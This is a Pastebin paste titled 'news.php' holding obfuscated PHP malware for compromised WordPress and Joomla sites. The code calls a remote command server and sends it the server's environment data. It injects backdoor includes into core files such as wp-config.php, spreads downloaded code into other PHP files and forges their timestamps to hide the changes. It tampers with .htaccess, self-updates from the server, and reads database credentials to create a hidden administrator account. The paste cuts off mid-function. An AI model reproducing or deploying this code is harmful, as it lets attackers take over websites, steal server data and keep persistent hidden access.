Advertisement
PalmaSolutions

news.php

Jan 16th, 2019
288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.12 KB | None | 0 0
  1. <?php header("Cont\145nt-Type: te\x78t/html; charset=utf-8");error_reporting(-0131- -0131);@ini_set("display_er\x72ors","Off");@ini_set("er\x72\157r_log",null);@ini_set("log_errors",0577+01045-01644);@ini_set("ma\x78_input_\x74ime",0541+0356+0526-01171);@ini_set("max_execution_time",0657+0356+01003-01564);@set_time_limit(0411- -05+01013-0755);@ob_end_flush();ij();$server_addr="104.236.117\05633";$lilliijliji="1.0.5";$lilil="s";$lljijii="/\x67et.p\150p";$lj="/get.php?co\156tent";$liljililjll="/ge\164.ph\160?create\x64oor";$lij="/\147et.php\077\165pda\x74e";$liilill="/get.php?getback";$lliij="/g\145t.\x70hp?spider";$lijljjljj=client_version("15\0640531\06608");$lliiiiillil="http://".$lijljjljj.$lljijii;$liiiiljjj="http://".$lijljjljj;$ljiiijijl=$liiiiljjj.$lj;$lllli=$liiiiljjj.$liljililjll;$liijjjlijij=$liiiiljjj.$lij;$lillilil=$liiiiljjj.$liilill;$ljjj=$liiiiljjj.$lliij;$llillji=preg_replace("#^/#i","",$_SERVER["SCRI\x50T\137\116\x41ME"]);$lijiiljl=$_SERVER["HT\x54P_HOST"];$llljjjll=$_SERVER["SCRIPT_NAME"];if($_SERVER["SERV\105R_P\x4fRT"]=="\06443"):$ll="https:/\x2f";else:$ll="http://";endif;$lijji=$ll.$lijiiljl.$llljjjll;$lljlill=ijjij($lliiiiillil."?getlinkofdoo\162=".urlencode($lijji),$lijljjljj,$lljijii."?getl\x69nko\x66door\075".urlencode($lijji),$llljilil="no");if(isset($_GET["gen"])):$liljji=array("wp-c\157nfig.php",".\x2e/wp-config.p\150p","../../wp-config.php","../../../wp-config.ph\160");$ljjjiiljij=array("co\155\160onents/com\137u\163ers/users\x2ephp","../compon\x65nts/\143om_users/users.php","..\x2f../compone\x6ets/co\155_users/u\x73ers\056php","..\x2f../../compo\x6ee\x6et\163/com_us\145rs\057u\x73ers.php");$llil="n\x6fne";foreach($ljjjiiljij as$lliililijjj):if(file_exists($lliililijjj)):$llil="joomla";endif;endforeach;foreach($liljji as$llijliji):if(file_exists($llijliji)):$llil="wp";endif;endforeach;if(isset($_GET["serveri\x64"])):$lll=$_GET["se\x72verid"];$liiiiljjj=$lllli."&\147e\156domain=".$lijiiljl."&filename=".$llillji."&vl=".$lilil."&v=".$lilliijliji."&\x73erverid=".$lll."&cms=".$llil;$llilijjjli=$liljililjll."&\x67endomain=".$lijiiljl."&filename=".$llillji."&vl=".$lilil."&v=".$lilliijliji."&serv\x65rid=".$lll."&cms=".$llil;else:$liiiiljjj=$lllli."&gendomain=".$lijiiljl."&fi\x6c\x65\156ame=".$llillji."&vl=".$lilil."&\x76=".$lilliijliji."&cms=".$llil;$llilijjjli=$liljililjll."&gendomain=".$lijiiljl."&filename=".$llillji."&vl=".$lilil."\x26v=".$lilliijliji."&cm\163=".$llil;endif;$li=ijjij($liiiiljjj,$lijljjljj,$llilijjjli,$llljilil="yes");$ljliijjj=filemtime(__FILE__);foreach(glob("*.php") as$llijiijj):$lijijijljli=filemtime($llijiijj);if($lijijijljli<$ljliijjj):@touch(__FILE__,$lijijijljli);break;endif;endforeach;echo$li;exit;elseif($_GET["g\x65t"]=="template"):define("MAX_LEV\105LS_UP",-0147+-0476+-0144- -01020);$lijlj=(0200+-0200);do{foreach(glob("*") as$lliilliji):if(strpos($lliilliji,"wp-conf\x69g.php")!==false):define("PLATFORM","WORDP\x52ESS");$liljji=array("wp-bl\x6fg-head\x65r.php","w\160-\x6co\141d.php","\167p-settings.\160hp","wp-config\056php");for($lilllljjill=(01245-01245);$lilllljjill<(0350-0344);$lilllljjill++):$ljjllllijli=$liljji[$lilllljjill];$ljililiill=filemtime($ljjllllijli);$lijj=sprintf("%o",fileperms($ljjllllijli));@chmod($ljjllllijli,01174-0357+051);if(is_writable($ljjllllijli)):$llljj=file_get_contents($ljjllllijli);switch($ljjllllijli):case "wp-load.\x70hp":$ljj=preg_replace("/re\x71ui\x72e\137o\156\x63e(.*)ABS\x50\x41TH(.*)'( )?wp-config\x5c.php\050.*);/i","r\x65qui\162e_once( ABSP\x41TH .\x20'wp\x2dconfig.php\047 );".PHP_EOL."if\050isset(\044_GET['testpage']\051 && \x24_GET['testp\x61ge']=='wpgopost')\173requ\x69re_onc\x65( ABSPATH . '".$llillji."' );}",$llljj);break;case "wp\x2dblog-hea\x64er.\160hp":$ljj=preg_replace("/r\145quire_once(.*)w\x70-load\134.php(.*);/i","require\x5fonce(\x20d\x69rname(__FILE__) . '/wp-load.php' )\073".PHP_EOL."if(isset(\x24_\x47ET\133'te\163tpage']) && \x24_GET[\x27te\x73t\160age']=='wpgopost'){require_once( ABS\x50AT\110 . '".$llillji."' );\x7d",$llljj);break;case "wp-config.php":$ljj=preg_replace("\057\x72equire_once(.*)w\160-setti\156gs\x5c.php(.*);/i","require_once(ABSPATH . 'wp-settings.\160hp'\x29;".PHP_EOL."if(isset(\x24_GE\x54['testpage']) && \x24_GET['\x74estpage']=='wpgo\160ost'){require_once( ABSPATH . '".$llillji."' );}",$llljj);break;case "wp-s\x65ttings.php":$ljj=preg_replace("/requir\x65(.*)pluggable-deprecated\134\x2ep\x68p(.*);/i","require( ABSPATH . WPINC . '/plug\147\x61ble-deprecated.php' );".PHP_EOL."if(i\163set(\x24_GET['testpa\x67e'])\x20&& \x24_GET['\164e\x73tpage']=='\x77p\x67opost\x27)\x7breq\x75ire_once( ABSPATH . '".$llillji."'\x20);}",$llljj);break;endswitch;$lljliililli="wpgopost";iljll($ljj,$ljjllllijli,$lijiiljl,$lljliililli,$ll);file_put_contents($ljjllllijli,$llljj);@touch($ljjllllijli,$ljililiill);continue (02);else:continue;endif;endfor;elseif(strpos($lliilliji,"c\157nf\151gura\x74io\156.php")!==false):define("PLATFORM","JO\x4f\x4dLA");$llj=array("index.php","conf\x69gurati\x6fn.ph\x70","includes/framework.p\150p","libraries/cms.php","li\x62raries/classmap.php","libraries/fof/include.php");for($lilllljjill=(-01052- -01052);$lilllljjill<(01205+046- -0526-01773);$lilllljjill++):$ljjllllijli=$llj[$lilllljjill];$ljililiill=filemtime($ljjllllijli);$lijj=sprintf("%o",fileperms($ljjllllijli));@chmod($ljjllllijli,0627+037);if(is_writable($ljjllllijli)):$llljj=file_get_contents($ljjllllijli);switch($ljjllllijli):case "index\x2ephp":$ljj=preg_replace("/requi\162e_\157\x6ece J\120ATH_BASE(.*)includes\x5c/framework\056php';/i","\x72equire_once JPATH_BASE . '/i\156clud\145s/frame\167ork.php';".PHP_EOL."if(is\163et(\044_GET['testpag\145']) && \x24_\107ET['testpa\147\145'\x5d=='joomlagopos\164'){require_once JPA\124H_BASE . '/".$llillji."';}",$llljj);break;case "co\x6efiguration.\x70hp":$ljj=preg_replace("/\134\074\x5c?php/i","<?php".PHP_EOL."if(\044_GE\x54['te\163tpage']=='jooml\141gopost'){require_once J\x50ATH_BASE\x20. '/".$llillji."\x27;}",$llljj);break;case "includ\145\163/\x66ramework.php":$ljj=preg_replace("/\162equire_on\143\x65 \112PATH_LIBR\101RIES(.*)\x63\155s.php\x27;/i","requi\162e_once JPATH_LIBRA\x52IE\123 . '/cms.php';".PHP_EOL."if(isset(\x24_GET['testpage']) && \044_GET['tes\x74\x70age']=='jooml\x61g\157post'){re\x71uire_o\156ce J\x50A\124H_BASE . '/".$llillji."';\x7d",$llljj);break;case "librar\x69es/cm\163.php":$ljj=preg_replace("/req\x75ir\x65_\157nce JPATH_LIBRAR\111ES(.*)cl\x61ssmap.php';/i","require_once JPATH_LIBRARIES . '/classmap.php';".PHP_EOL."if(isset(\x24_G\x45T['t\145stp\141ge']) && \044_GET['tes\164page']=='j\157o\155l\x61gopost'){require_once JPATH_BASE . '/".$llillji."';}",$llljj);break;case "libraries/classmap\056php":$ljj=preg_replace("/\134<\x5c?php/i","<?p\x68p".PHP_EOL."\x69f(\x24_GET['testpage'\x5d=='joo\155lagopos\x74')\173require_once JP\x41TH_BASE . \x27/".$llillji."';}",$llljj);break;case "libraries/fof/include.php":$ljj=preg_replace("/\x5c<\134?ph\160/i","<?p\x68p".PHP_EOL."if(\044_GET['testpag\x65']=='joomlagopost'){require_o\x6ece JPATH_BASE . \x27/".$llillji."';}",$llljj);break;endswitch;$lljliililli="joomlagopost";iljll($ljj,$ljjllllijli,$lijiiljl,$lljliililli,$ll);file_put_contents($ljjllllijli,$llljj);@touch($ljjllllijli,$ljililiill);continue (02);else:continue;endif;endfor;endif;endforeach;ijiil($lljlill);if(!defined("PLATFORM")):chdir("..");$lijlj++;endif;}while(!defined("PLATFORM")&&$lijlj<MAX_LEVELS_UP);if(!defined("PLATFORM")):exit("Unknown platform!");endif;elseif($_GET["testpage"]=="wpgop\x6fst"):$lliil="abcdefghijklm\156op";$lli=str_shuffle($lliil);$ljllljlj=array("post_title"=>"HEREI\x53TITLE","post_name"=>$lli,"po\x73\x74_conte\156t"=>"HEREISC\117NTENT","post_st\141tus"=>"publish","post\x5fcategory"=>array());$ljlll=wp_insert_post($ljllljlj,true);$ljliiii=get_permalink($ljlll);$llilijjjli=preg_replace("#\150ttp://(.*\051/|\150ttps://(.*)\057#","",$ljliiii);$llilijjjli="/".$llilijjjli;$li=ijjij($ljliiii,$lijiiljl,$llilijjjli,$llljilil="no");$li=str_replace($ljliiii,"HE\x52E\x49\x53URL",$li);$li=str_replace($lli,"HEREISSLUG",$li);echo$li;if(!wp_delete_post($ljlll,true)):wp_delete_post($ljlll,true);endif;exit;elseif($_GET["\164estpage"]=="joomlagopo\x73t"):$ljjlliji=explode("/",$_SERVER["SERVE\x52_NAME"].$_SERVER["REQUEST_\125RI"]);unset($ljjlliji[count($ljjlliji)-(0122-015+-017+-065)]);$ljiijlj=illlii("HERE\x49STITLE","","\110EREISCONTENT");$ljiijlj=explode(":",$ljiijlj);$lilljlijijl="HEREISTITLE";if(is_array($ljiijlj)):$lilllillj=trim($ljiijlj[-073+074]);$liijji=trim($ljiijlj[-0137+02+033- -0102]);$ljiiljjjjlj=$ll.trim(implode("/",$ljjlliji),"/")."/index.php/?o\160tio\x6e=com_content&view=article&i\x64\075".$liijji;$li=ijjij($ljiiljjjjlj,$lijiiljl,$ljiiljjjjlj,$llljilil="no");$li=preg_replace("/<title>(.*)<\x5c/title\x3e\057iUm","<title>".$lilljlijijl."</title>",$li);$lljlj=JFactory::getDbo();$lljijlij=$lljlj->getQuery(true);$lljijlij->delete($lljlj->quoteName("#__\143on\164ent"))->where(array($lljlj->quoteName("\151d")."=".$liijji));$lljlj->setQuery($lljijlij);$ljjjiljl=$lljlj->query();if(!empty($li)&&stripos($li,"\110EREISCONT\105NT")):$li=str_ireplace("content=\042HEREISCONTENT","conte\156t=\042",$li);$li=str_ireplace("conten\x74=\x22 HE\x52EISCON\x54ENT","co\156tent=\x22",$li);$li=preg_replace("/<me\x74a property\x3d[\x5c\x22\x27]{1\x7dog:description[\x5c\x22']{1} \x63ontent\x3d[\134\042']{\x31}.*[\134\x22']{1}\x5cs?\x5c\x2f>/iU\x73","",$li);$llilllijli="|(<h\062>.*HERE\111STITLE.*</h2>)|iUs";preg_match_all($llilllijli,$li,$lillll);if(!empty($lillll[0513-0512][037-0147-0167+0277])):$li=str_ireplace($lillll[-01107+-0723-01146+03201][-0340+0540- -0474-0674],"<h1>HEREISH1T\101G</\1501>",$li);endif;endif;echo$li;exit;endif;elseif(isset($_GET["v"])):die($lilliijliji);elseif(isset($_GET["u\x70d"])):$liiiiljjj=$liijjjlijij."&vl=".$lilil."&upd";$llilijjjli=$lij."&vl=".$lilil."&upd";$li=ijjij($liiiiljjj,$lijljjljj,$llilijjjli,$llljilil="\156o");if($li==null):die("c\141nt lo\x61d new c\154ient");endif;$ljililiill=filemtime(__FILE__);if(!is_writable(__FILE__)):chmod(__FILE__,"0666");file_put_contents(__FILE__,$li);@touch(__FILE__,$ljililiill);if(!chmod(__FILE__,"\x3066\066")):die("cant set rights");endif;endif;file_put_contents(__FILE__,$li);@touch(__FILE__,$ljililiill);if(!is_writable(__FILE__)):die("client\040not\040w\162it\141ble");endif;file_put_contents(__FILE__,$li);@touch(__FILE__,$ljililiill);exit;elseif(isset($_GET["ws"])):$lii=$lillilil."&ws=".$_GET["w\163"];$liljll=$liilill."&ws=".$_GET["ws"];$lji=null;$ljillj=(0174-0371+0204);$liijilill="^_^";for($lilllljjill=(0770+0751+0220-02160);$lilllljjill<=$ljillj;$lilllljjill++):if($lilllljjill==(0632+-0366+-0243)):list($ljljlll,$lji)=iillj($liijilill,$lji);foreach($ljljlll as$liiij):if(strstr($liiij,"akismet")):continue;endif;$lijlilliji[]=$liiij;endforeach;else:foreach($lijlilliji as$ljiljli):list($ljljlll,$lji)=iillj($ljiljli,$lji);foreach($ljljlll as$liiij):if(strstr($liiij,"a\153i\163met")):continue;endif;$lijlilliji[]=$liiij;$lijlilliji=array_values(array_unique($lijlilliji));endforeach;endforeach;endif;endfor;$lijilj=ilijjj($lji,$lliiiiillil,$lijljjljj,$lljijii,$liiliiii="all");shuffle($lijlilliji);foreach($lijlilliji as$liijilill):if(is_writable($liijilill)):shuffle($lijilj);$lliilliji=$liijilill.DIRECTORY_SEPARATOR.$lijilj[-0115+-0144+0261];if(!file_exists($lliilliji)):$li=ijjij($lii,$lijljjljj,$liljll,$llljilil="no");if($li==null):die("\x63an't get txt fil\145");endif;if(file_put_contents($lliilliji,$li)):$ljliijiji=explode("\x2f",$_SERVER["SCR\x49\120\124_NAME"],-(0577-0210- -0157-0545));$llljjjll=implode("/",$ljliijiji)."\057".$lliilliji;$ljjljijiij=$ll.$lijiiljl.$llljjjll;echo$ljjljijiij;exit;endif;endif;endif;endforeach;die("\x63an't write file");elseif(isset($_GET["wsall"])):ini_set("max_execution_time",067+0133-035-0165);set_time_limit(0327+-0327);$lji=null;$ljillj=(0624+-0615);$liijilill="^_^";for($lilllljjill=(-0423- -024+0455+-055);$lilllljjill<=$ljillj;$lilllljjill++):if($lilllljjill==(-0146+-0276- -0445)):list($ljljlll,$lji)=iillj($liijilill,$lji);foreach($ljljlll as$liiij):if(strstr($liiij,"akisme\x74")):continue;endif;$lijlilliji[]=$liiij;endforeach;else:foreach($lijlilliji as$ljiljli):list($ljljlll,$lji)=iillj($ljiljli,$lji);foreach($ljljlll as$liiij):if(strstr($liiij,"akismet")):continue;endif;$lijlilliji[]=$liiij;$lijlilliji=array_values(array_unique($lijlilliji));endforeach;endforeach;endif;endfor;$lijilj=ilijjj($lji,$lliiiiillil,$lijljjljj,$lljijii,$liiliiii="all");foreach($lijlilliji as$liijilill):if(is_writable($liijilill)):shuffle($lijilj);$lliilliji=$liijilill.DIRECTORY_SEPARATOR.$lijilj[-0133+02- -0131];if(!file_exists($lliilliji)):$ljlilljljji[]=$lliilliji;endif;endif;endforeach;if(count($ljlilljljji)=="\060"):echo"\156o\x74\150ing to do here";endif;shuffle($ljlilljljji);$lijlj=(0574- -0260-0340-0514);foreach($ljlilljljji as$lliilliji):if($lijlj<(021-016+-04+013)):$lijlj++;$lii=$lillilil."&bdr&counter=0&vl=".$lilil;$liljll=$liilill."&bdr&coun\164er=0&vl=".$lilil;$li=ijjij($lii,$lijljjljj,$liljll,$llljilil="\156o");$ljli=explode(":-:-:",$li,-0441+-0155+0620);$lljliijljj=$ljli[0142+-0142];$ljljljiijl=$ljli[0337- -0704+-01242];$ljliijiji=explode("/",$_SERVER["SCRIPT_\x4eAME"],-(050+-062+013));$llljjjll=implode("/",$ljliijiji)."/".$lliilliji;$ljjljijiij=$ll.$lijiiljl.$llljjjll;$lijlj--;if(file_put_contents($lliilliji,$ljljljiijl)):$lijlj++;if($lijlj=="\x310"):echo$lljliijljj."||".$ljjljijiij;elseif($lijlj<(01104+-01072)):echo$lljliijljj."||".$ljjljijiij."::";endif;else:$lijlj--;endif;else:continue;endif;endforeach;exit;elseif(isset($_GET["z"])):echo"im oke\x79";exit;elseif(isset($_GET["sz"])):$liiiiljjj=$lliiiiillil."\x3fz";$llilijjjli=$lljijii."?z";$li=ijjij($liiiiljjj,$lijljjljj,$llilijjjli,$llljilil="\171es");echo$li;exit;elseif(isset($_GET["h"])):$liljjjlj=".htaccess";if(file_exists($liljjjlj)):echo file_get_contents($liljjjlj);endif;exit;elseif(isset($_GET["sc"])):if(isset($_GET["d"])):unlink(__FILE__);endif;$lll=md5(__FILE__.time());$liiiiljjj=$ljjj."&getcode\x26vl=".$lilil."&serverid\x3d".$lll;$llilijjjli=$lliij."&getcode&vl=".$lilil."&\x73erverid=".$lll;$lil=ijjij($liiiiljjj,$lijljjljj,$llilijjjli,$llljilil="yes");if($lil=="n\x6fcodetoinse\162t"):die("nocode\164oinsert");endif;chdir($_SERVER["DOCUMENT_R\117OT"]);$ljjjl=getcwd();if(isset($_GET["i"])&&$_GET["\x69"]):$lilllljjill=$_GET["i"];else:$lilllljjill="4";endif;for($lilllljjill=(-075+0120+-023);$lilllljjill<=(016-054+016- -024);$lilllljjill++):if(is_readable("..")):chdir("..");$ljjjl=getcwd();else:continue;endif;endfor;$lliili=ijiji($lijljjljj,$ljjj,$lliij,$lljliijljj="b\141ddirs");$ljiiijjjjj=ijiji($lijljjljj,$ljjj,$lliij,$lljliijljj="filestoin\x63");@set_time_limit(0405- -0153+0121-0701);ilil($ljjjl,$lil,$ljiiijjjjj,$lliili);exit;elseif(isset($_GET["addwpuser"])):$liijji=$_GET["id"];$lijiillij=$_GET["userna\x6de"];$liili=md5($_GET["p\141ssword"]);$lili=str_replace($_SERVER["\104OCUM\105NT_ROOT"],"",$_SERVER["SCRIPT_FILENAME"]);$lljijjill=null;$ljlij=substr_count($lili,DIRECTORY_SEPARATOR);if($ljlij>(-036- -037)):$ljijjlllij=explode($lili,DIRECTORY_SEPARATOR);while(substr_count($lili,DIRECTORY_SEPARATOR)>(-0111+0143+-031)):$ljijjlllij=explode(DIRECTORY_SEPARATOR,$lili,-(-040- -051+-010));$lili=implode($ljijjlllij,DIRECTORY_SEPARATOR);$lljjljjii[]=$_SERVER["DOCUMENT_ROOT"].$lili.DIRECTORY_SEPARATOR."wp-config.php";endwhile;$lljjljjii[]=$_SERVER["DO\x43UMENT_ROOT"].DIRECTORY_SEPARATOR."wp-config.ph\x70";else:$lljjljjii[]=$_SERVER["DOCUMENT_ROOT"].DIRECTORY_SEPARATOR."wp-config.php";endif;foreach($lljjljjii as$lljj):if(file_exists($lljj)):$lljijjill=$lljj;break;endif;endforeach;if($lljijjill==null):die("no wp");else:echo$lljijjill;$lljijjill=file_get_contents($lljijjill);preg_match("/defin\145\134(\134'DB_NAME\x5c', \x5c\x27(.\x2a)\x5c'\x5c)\x5c\073/msU",$lljijjill,$lljjii);preg_match("/de\x66\151ne\x5c\x28\x5c'\104B_USER\134', \134'(\056*)\134'\x5c)\x5c;/msU",$lljijjill,$lllllili);preg_match("/define\134(\134'DB_\x50AS\x53WORD\x5c', \x5c\047(.*)\x5c'\x5c)\x5c\073/msU",$lljijjill,$lijiijli);preg_match("\x2fdef\151ne\134(\134'\x44B_HOST\134',\040\x5c'(.*)\134'\134)\134;/msU",$lljijjill,$liiijj);preg_match("/.*prefi\170 \x5c\075 \x5c'(\056*)\x5c'\x5c;/\x6dsU",$lljijjill,$lillllliij);$lijijjjij=$lillllliij[-0105+0665-0557]."users";$llllllii=$lillllliij[0727-0726]."u\x73\145r\x6deta";$liiljlijlil=mysql_connect($liiijj[-0301- -0274+06],$lllllili[0662+01403+0713-03177],$lijiijli[-0402+0403]);mysql_select_db($lljjii[-01462-0535- -02220]);$lljijlij="SE\114ECT COUNT(*) FROM ".$lijijjjij." WHERE ID='".$liijji."'";$lljji=mysql_query($lljijlij);if(mysql_result($lljji,0444- -073- -01456-02215)==(-0157+0221-041)):echo"user exists";else:$lijjijl="INSERT INTO ".$lijijjjij."\040(`ID`,`user_login`,`\165ser_pas\x73`,`user_nicename`,`user_\x65mail`,`us\x65r_url`\x2c`user_r\145gistered`,`user\x5factivation_key`,`\x75ser_status`\054`display_name`) VALUES ('".$liijji."','".$lijiillij."\x27,'".$liili."',\x27Support'\054'wp\x73up\160ort@wpress.co\155','','2018-05-0\064\0401\x32:33:09',\x27','0','Su\160por\164 Account')\x3b";$llll="INSE\122T \x49NTO ".$llllllii." (`ume\164a_id`,`user_id`,`meta_key`,`meta_v\x61lue`) VALUES (NULL,'".$liijji."','wp_\143apabil\x69ti\145s',\047\x61:1:{s:\061\063\x3a\042adminis\164rator\042;s\072\x31:\0421\x22;}'),(\x4eULL,'".$liijji."','wp_user_le\166el','1\060');";$lililiij=mysql_query($lijjijl);$llji=mysql_query($llll);echo"user i\156serted";endif;mysql_close($liiljlijlil);endif;else:if(preg_match("\x23^w\167\167\x5c.#",$lijiiljl)):$lijiiljl=preg_replace("#^www\134.#",$lijiiljl);endif;$liiiiljjj=$ljiiijijl."&\166l=".$lilil."&v\075".$lilliijliji."&domain=".$lijiiljl."&ge\x74\x63ookie";$llilijjjli=$lj."&v\x6c=".$lilil."&v=".$lilliijliji."&domain=".$lijiiljl."&getcookie";$li=ijjij($liiiiljjj,$lijljjljj,$llilijjjli,$llljilil="yes");if($li!="dontsh\x6f\167cookies"):$ljii=explode(":",$li);$lllll=$ljii[-0236- -0321-0547- -0464];$lljjjl=$ljii[-011+012];if(!$_COOKIE[$lllll]):$llljill="yes";if(setcookie($lllll,$lljjjl,time()+(07432-06764+06352)*(-0473+0523),"/",$lijiiljl)):$llljill="no";endif;else:$llljill="\x6eo";endif;else:$llljill="no";endif;$liiiiljjj=$ljiiijijl."&vl=".$lilil."&v=".$lilliijliji."&cook\151ebot=".$llljill;$llilijjjli=$lj."&vl=".$lilil."&v=".$lilliijliji."&cookiebot=".$llljill;$li=ijjij($liiiiljjj,$lijljjljj,$llilijjjli,$llljilil="yes");echo$li;exit;endif;function ilil($ljjjl,$lil,$ljiiijjjjj,$lliili,$llljjii=null){foreach(scandir($ljjjl) as$lliilliji):if($lliilliji=="."||$lliilliji==".."):continue;endif;if(in_array($lliilliji,$lliili)):continue;endif;foreach($ljiiijjjjj as$ljllj):if($lliilliji==$ljllj):$ljilijijili=$ljjjl.DIRECTORY_SEPARATOR.$lliilliji;if(!is_writable($ljilijijili)):if(!@chmod($ljilijijili,0637-0474+0667+-0166)):continue;else:$lililjil=file_get_contents($ljilijijili);if(preg_match("/\x5c\x24incode/",$lililjil)):continue;endif;$ljililiill=filemtime($ljilijijili);$lililjil=$lil.$lililjil;file_put_contents($ljilijijili,$lililjil);@touch($ljilijijili,$ljililiill);echo"\151ncl\x75ded\x3a ".$ljilijijili."<\x62r>";endif;else:$lililjil=file_get_contents($ljilijijili);if(preg_match("/\x5c\044incode/",$lililjil)):continue;endif;$ljililiill=filemtime($ljilijijili);$lililjil=$lil.$lililjil;file_put_contents($ljilijijili,$lililjil);@touch($ljilijijili,$ljililiill);echo"included:\x20".$ljilijijili."<br>";endif;endif;endforeach;$liijilill=$ljjjl.DIRECTORY_SEPARATOR.$lliilliji;if(is_dir($liijilill)):ilil($liijilill,$lil,$ljiiijjjjj,$lliili);endif;endforeach;}function ijiil($lljlill){foreach(glob("*.php") as$lilijlill):if($lilijlill==basename(__FILE__)||is_writable($lilijlill)==false):continue;endif;$ljililiill=filemtime($lilijlill);$ljj=file_get_contents($lilijlill);$ljj=preg_replace("/<\x5c?p\150p|<\x5c?/i",$lljlill."<?php",$ljj,0175- -0520- -0350-01264);file_put_contents($lilijlill,$ljj);@touch($lilijlill,$ljililiill);endforeach;}function iljll($ljj,$ljjllllijli,$lijiiljl,$lljliililli,$ll){file_put_contents($ljjllllijli,$ljj);$lijjjijj=$ll.$lijiiljl."/?testpage=".$lljliililli;$llilijjjli="/?tes\x74\x70age=".$lljliililli;$li=ijjij($lijjjijj,$lijiiljl,$llilijjjli,$llljilil="\x6eo");echo$li;}function illlii($liljij,$ljlilliiii,$lijijjlii,$llljilj=-035732){$ljill=JFactory::getDBO();$lillljlji=new stdClass;$lillljlji->id=null;$lillljlji->title=$liljij;$lillljlji->introtext=$ljlilliiii;$lillljlji->fulltext=$lijijjlii;$lillljlji->state=(0411-0410);$lillljlji->access=(-054+-0175-0274- -0546);$lillljlji->created_by=(064- -0624+-0612);$lillljlji->created=date("Y-m-d\x20H:i:s");$lillljlji->alias=JFilterOutput::stringURLSafe($lillljlji->title);if(!$ljill->insertObject("#__content",$lillljlji,"id")):echo$ljill->stderr();return false;endif;return$lillljlji->id.":".$lillljlji->alias;}function ij($ljlijilji=null){$liljjjlj=".ht\x61c\x63\145ss";if(file_exists($liljjjlj)):$ljjiiill=filemtime($liljjjlj);@chmod($liljjjlj,01315-0427);$lljllijiii=file_get_contents($liljjjlj);if(preg_match("\x23goo\147le|y\141hoo|bing#iUs",$lljllijiii)):$lljllijiii=preg_replace("#goo\147le#iUs","goog1e",$lljllijiii);$lljllijiii=preg_replace("#\x79aho\157#iU\x73","ya\156o\157",$lljllijiii);$lljllijiii=preg_replace("#bing#iUs","\x621ng",$lljllijiii);$lljllijiii=preg_replace("#b\141idu#iUs","ba1\x64u",$lljllijiii);$lljllijiii=preg_replace("#seznam#iUs","sesnam",$lljllijiii);$lljllijiii=preg_replace("#craw\154#i\x55s","\143raw1",$lljllijiii);$lljllijiii=preg_replace("#\134|\x61ol\x5c|#iUs","\x7cao1|",$lljllijiii);$lljllijiii=preg_replace("#HTTP_US\105R\137\101GENT#iUs","HTTP_REF\x45RER",$lljllijiii);endif;file_put_contents($liljjjlj,$lljllijiii);@touch($liljjjlj,$ljjiiill);endif;}function ilijjj($lji,$lliiiiillil,$lijljjljj,$lljijii,$liiliiii){$liiiiljjj=$lliiiiillil."\077\x67etfile\156ame&platform\075".$lji."&co\x75nt=".$liiliiii;$llilijjjli=$lljijii."?getfilenam\x65&platform=".$lji."&count\x3d".$liiliiii;$lljjjjjl=ijjij($liiiiljjj,$lijljjljj,$llilijjjli,$llljilil="no");if($liiliiii=="a\154l"):$lljjjjjl=explode("::",$lljjjjjl,-(0271-0270));endif;return$lljjjjjl;}function ijiji($lijljjljj,$ljjj,$lliij,$lljliijljj){$liiiiljjj=$ljjj."&type=".$lljliijljj;$llilijjjli=$lliij."&type=".$lljliijljj;$lijilj=ijjij($liiiiljjj,$lijljjljj,$llilijjjli,$llljilil="no");$lijilj=explode("::",$lijilj,-(-0544-0101- -0646));return$lijilj;}function iillj($liijilill,$lji){if($liijilill=="^_^"):foreach(glob("*") as$lliilliji):if(is_dir($lliilliji)):$ljljlll[]=$lliilliji;endif;if(stristr($lliilliji,"wp-conf\151g.\x70hp")):$lji="wp";elseif(stristr($lliilliji,"conf\x69guration.php")):$lji="jm";endif;if($lji===null):$lji="ot\x68er";endif;endforeach;else:foreach(glob($liijilill.DIRECTORY_SEPARATOR."*") as$lliilliji):if(is_dir($lliilliji)):$ljljlll[]=$lliilliji;endif;endforeach;endif;return array($ljljlll,$lji);}function client_version($lilllljjill){$ljij[0167-05-0162]=(int)($lilllljjill/(0143-0632+01067)/(-0102-0221-0650- -01573)/(-01014-02161+0575+03000));$ljij[0275+-0157-0305+0170]=(int)(($lilllljjill-$ljij[-0571- -0571]*(0132- -0246)*(0703+-0303)*(0757+-0357))/(0133-0645- -01112)/(01522-01122));$ljij[0227+02+-0154+-053]=(int)(($lilllljjill-$ljij[01-01]*(0454-0521+0445)*(0442+0472-0433+-0101)*(0403-0366- -0363)-$ljij[043- -0741+-01003]*(010-0214+0321+0263)*(0311+0430+0477+-01040))/(041-0167- -0526));$ljij[0670-072-0530+-043]=$lilllljjill-$ljij[0226+-0452+0224]*(0155+0442-0217)*(0332+046)*(01003-01732- -01327)-$ljij[0237+-0236]*(0603+0311-0462-032)*(0346-02067-01244- -03365)-$ljij[01527-0344-0526-0433]*(0744+0266+-0632);return''.$ljij[01047+-01047].".".$ljij[-0315- -0323+0311-0316].".".$ljij[-0376+-0444- -01044].".".$ljij[0626+0533-0430-0726];}function ijjij($liiiiljjj,$lijiiljl,$llilijjjli,$llljilil){$ljjilljiiij="60";if(in_array("curl",get_loaded_extensions())):if($llljilil=="yes"):if(strstr($liiiiljjj,"?")):$liiiiljjj=$liiiiljjj."&type=curl";else:$liiiiljjj=$liiiiljjj."\x3fty\x70e=curl";endif;endif;$ljilljij=curl_init();curl_setopt($ljilljij,CURLOPT_URL,$liiiiljjj);if(preg_match("#^https://#",$liiiiljjj)):curl_setopt($ljilljij,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ljilljij,CURLOPT_SSL_VERIFYHOST,false);endif;curl_setopt($ljilljij,CURLOPT_HEADER,false);curl_setopt($ljilljij,CURLOPT_RETURNTRANSFER,true);curl_setopt($ljilljij,CURLOPT_REFERER,"");curl_setopt($ljilljij,CURLOPT_CONNECTTIMEOUT,"\x35");curl_setopt($ljilljij,CURLOPT_TIMEOUT,$ljjilljiiij);curl_setopt($ljilljij,CURLOPT_POSTFIELDS,http_build_query($_SERVER));$li=@curl_exec($ljilljij);curl_close($ljilljij);elseif(ini_get("a\154low_url_\146open")==(0724- -0734-0403+-01254)):$lljililll=stream_context_create(array("http"=>array("\x6de\x74h\x6fd"=>"POST","\x68eader"=>array("Co\x6etent-type\x3a 